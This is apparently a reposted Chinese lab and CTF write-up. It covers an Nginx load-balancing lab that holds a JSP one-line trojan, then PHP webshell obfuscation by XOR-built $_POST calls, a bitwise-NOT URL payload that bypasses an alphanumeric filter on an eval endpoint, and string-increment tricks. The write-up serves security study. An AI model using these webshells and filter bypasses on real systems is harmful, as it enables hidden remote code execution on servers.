webshell实践复现

这篇具有很好参考价值的文章主要介绍了webshell实践复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

一.Nginx负载均衡(反向代理及负载均衡配置以省略)

        1.环境搭建

        2.复现

 二.webshell实践

1:异或操作绕过

2:取反绕过 

3:php语法绕过 


一.Nginx负载均衡(反向代理及负载均衡配置以省略)

                注:需要三台主机搭建下载Nginx环境,在配置文件即可

        1.环境搭建

                将文件上传至虚拟机中,再用docker-compose加载一下即可

 docker ps -a   ---查看端口号

        2.复现

                1.编辑文件 /etc/nginx/conf.d/default.conf 如下(然后在docker exec -it 067382028d2f /bin/bash下面的webapps下面的ROOT里面有一个ant.jsp文件里面存放了一句话木马和连接密码ant

upstream lbspool {
        server lbsnodel:8080;
        server ibsnode2:8080;
}
server {
    listen     80 default_server;
    server_name -;
    charset utf-8;
    root     /usr/share/nginx/html;
    index index.jsp index.html index.htm;
    location / {
        proxy_pass http://lbspool;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

                2.浏览器访问,连接测试 (IP为本地IP地址,端口号以查出的端口为准)

webshell实践复现,网络渗透防御,运维

 二.webshell实践

1:异或操作绕过

典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>


执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

2:取反绕过 

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

3:php语法绕过 

<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>


在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化
 文章来源地址https://www.toymoban.com/news/detail-662660.html

到了这里,关于webshell实践复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接(复现详细过程)

    ThinkPHP5 5.0.23远程代码执行漏洞+webshell工具连接(复现详细过程)

    目录 漏洞介绍 漏洞复现 1.环境搭建 2.漏洞利用 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。 1.环境搭建 使用docker容器搭建漏洞环境,进入漏洞文件所在。 cd vulhub/thinkphp/5.0.2

    2024年02月06日
    浏览(13)
  • GraphQL渗透测试案例及防御办法

    GraphQL渗透测试案例及防御办法

    GraphQL 是一种 API 查询语言,旨在促进客户端和服务器之间的高效通信。它使用户能够准确指定他们在响应中所需的数据,从而有助于避免有时使用 REST API 看到的大型响应对象和多个调用。 GraphQL 服务定义了一个合约,客户端可以通过该合约与服务器进行通信。客户端不需要

    2024年02月10日
    浏览(10)
  • threehit漏洞复现以及防御

    threehit漏洞复现以及防御

    说白了跟sql-liql靶场二次注入一样,也是一个转义函数而这次是,入库的时候不转义,出库的时候会转义导致这个漏洞出现 开始测试: 这是我注册完test刚登录的情况   找注入点更新数据的update,很容易找到在age段 这次我注册的时候用户还是test,但是年龄我对后面进行了省

    2024年02月21日
    浏览(10)
  • 网络渗透CTF实践:获取靶机Web Developer 文件/root/flag.txt中flag

    网络渗透CTF实践:获取靶机Web Developer 文件/root/flag.txt中flag

    实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。 系统

    2024年01月23日
    浏览(10)
  • Apache两个解析漏洞复现及防御方法

    Apache两个解析漏洞复现及防御方法

    形成原因: 配置apache时,对于apache配置不熟练,配置命令不清楚,在配置PHP文件处理程序时,配置命令存在问题:位于漏洞环境目录的 conf/docker-php.conf里的配置命令(AddHandler application/x-httpd-php .php),该命令会将后缀中只要含有.php的文件都会被处理程序解析,这导致攻击者

    2024年02月04日
    浏览(13)
  • Nginx反向代理-负载均衡、webshell实践

    目录 1.nginx反向代理-负载均衡 1)搭建web项目 2)修改 nginx.conf的配置 2.webshell 实践 1)异或操作绕过 2)取反绕过  3)php语法绕过  1.nginx反向代理-负载均衡 1)搭建web项目 首先通过 SpringBoot+Freemarker 快速搭建一个 WEB 项目:springboot-web-nginx然后在该项目中,创建一个 IndexNgin

    2024年02月12日
    浏览(11)
  • webshell实践,在nginx上实现负载均衡

    webshell实践,在nginx上实现负载均衡

    我采用了三台虚拟机进行服务器设置:192.168.240.11、192.168.240.12、192.168.240.13           

    2024年02月12日
    浏览(12)
  • JWT(Json Web Token)的原理、渗透与防御

    JWT(Json Web Token)的原理、渗透与防御

    (关于JWT kid安全部分后期整理完毕再进行更新~2023.05.16) JWT全称为Json web token,是为了在网络应用环境间传递声明而执行的一中基于JSON的开放标准。常用于分布式站点的单点登录。 JWT的声明一般被用在客户端与服务端之间传递身份认证信息,便于向服务端请求资源。 (我理

    2024年02月05日
    浏览(10)
  • web渗透测试漏洞复现:Elasticsearch未授权漏洞复现

    Elasticsearch 是一款 Java 编写的企业级搜索服务,它以分布式多用户能力和全文搜索引擎为特点,采用 RESTful web 接口。这款搜索引擎由 Java 开发,作为 Apache 许可下的开源软件发布,是流行的企业级搜索引擎之一。Elasticsearch 的增删改查操作都通过 http 接口完成。开源的版本可能

    2024年04月10日
    浏览(18)
  • Webshell 网络安全应急响应

    Webshell 网络安全应急响应

    webshell通常指JSP、ASP、PHP等网页脚本文件形式存在的一种服务器可执行文件,是一种网页后门,攻击者入侵后,通常将后门文件网站服务器Web目录下正常的网页文件混在一起,使用浏览器或专用客户端进行连接得到了服务器操作环境,达到控制网站的目的。 常见的webshell脚本

    2024年02月12日
    浏览(11)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包